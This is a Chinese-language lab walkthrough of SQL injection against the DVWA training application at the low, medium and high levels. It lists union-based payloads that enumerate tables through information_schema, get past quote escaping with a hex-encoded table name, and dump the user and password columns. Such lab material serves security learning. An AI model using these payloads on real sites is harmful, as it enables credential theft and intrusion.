DVWA-SQL注入-low,medium,high


DVWA-SQL注入

漏洞原理:針對SQL注入的攻擊行為可描述為通過用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序時意料之外結果的攻擊行為。其成因可以歸結為以下兩個原因疊加造成的:
1,使用字符串拼接的方式構造SQL語句,
2,沒有進行足夠的過濾。

 

一、SQL注入概念

  SQL注入是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。

二、手工注入常規思路

  1.判斷是否存在注入. 字符型1' and '1'='1  數字型1 and 1=1(下面的命令皆去掉 ' )

  2.猜解SQL查詢語句中的字段數. 1' order by 1#    1' order by 2#  ......等等

  3.確定回顯位置。 1' union select 1,2#  

  4.獲取當前數據庫。1' union select version(),database()#

  5.獲取當前數據庫中的表。1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  6.獲取表中的字段數。1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

  7.得到數據。1' union select user,password from users#

 

這只是常規的SQL命令,如果源碼中設置了轉義sql語句中的一些特殊字符,可修改數據包進行繞過。

三、DVWA注入分析

將DVWA級別設置為LOW

1.分析源碼,可以看到沒有對參數做任何過濾,直接帶入數據庫進行查詢,分析sql查詢語句,可能存在字符型sql注入。

 

 

2.判斷aql是否存在注入,以及注入的類型。 1’ and ’1’=’1

 

 3.猜解SQL查詢語句中的字數段數,

1‘ order by 1#

 

 

 1‘ order by 2#

 

 

 1‘ order by 3#

 

 從上面的圖可以說明,SQL語句查詢的表的字段數是2.確定回顯的位置(SQL語句查詢之后的回顯位置)

 

1' union select 1,2#      #下圖可以看出有2個回顯

 

 

查詢當前的數據庫以及版本, 1' union select version(),database()#

 

 

獲取數據庫中的表,1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

 

獲取表中的字段名,1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

 

 

獲得字段中的數據,1' union select user,password from users#

 

 

 

 

 

將DVWA的級別設置為Medium

中級加入了讓一些防御,不讓用戶輸入,只供選擇(可以用burpsuit抓包來繞過),分析源碼可以看到對參數使用masql_real_escape_string函數轉義sql語句中的一些特殊字符,查看sql查詢語句可以看出可能存在數字型sql注入。

通過burpsuit抓包,修改數據包,繞過防御。判斷注入點以及注入類型,下圖可以看到,存在注入,注入類型是數字型注入。 1 and 1=1#

 

猜解sql查詢語句中的字段的個數,測試字段個數1, 1 order by 1#

 

 

測試字段個數2, 1 order by 2#

 

 

測試字段個數3, 1 order by 3#  。返回錯誤頁面,所以字段數為2. 就得一個一個試,到返回錯誤為止。

 

 

確定回顯位置,下圖可以說明有2個回顯位置, 1 union select 1,2#

 

 

 獲取當前數據庫的名稱以及版本,  1 union select database(),version()#

 

 

獲取數據庫中的所有表, 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

 

獲取表中的所有字段名,考慮到單引號被轉義,可以利用16進制進行繞過。 1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

 

 

獲取字段中的數據。 1 union select user,password from users#

 

 

 

將DVWN的級別設置為High

將dvwa設置為高級,可以看出,點擊“here to change your ID”,頁面自動跳轉。防御了自動化的SQL注入,分析源碼可以看到,對參數沒有做防御,在sql查詢語句中限制了查詢條數,可以通過burpsuit抓包,修改數據實現繞過。

 

 

查看源碼

 

 

獲得密碼。 1' union select user,password from users#

 

 

將DWVA的級別設置為Impossible,分析源碼可以看出使用了PDO技術,杜絕了SQL注入。

  //PDO就是PHP data Object 提供了PHP操作多種數據庫的統一的接口


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM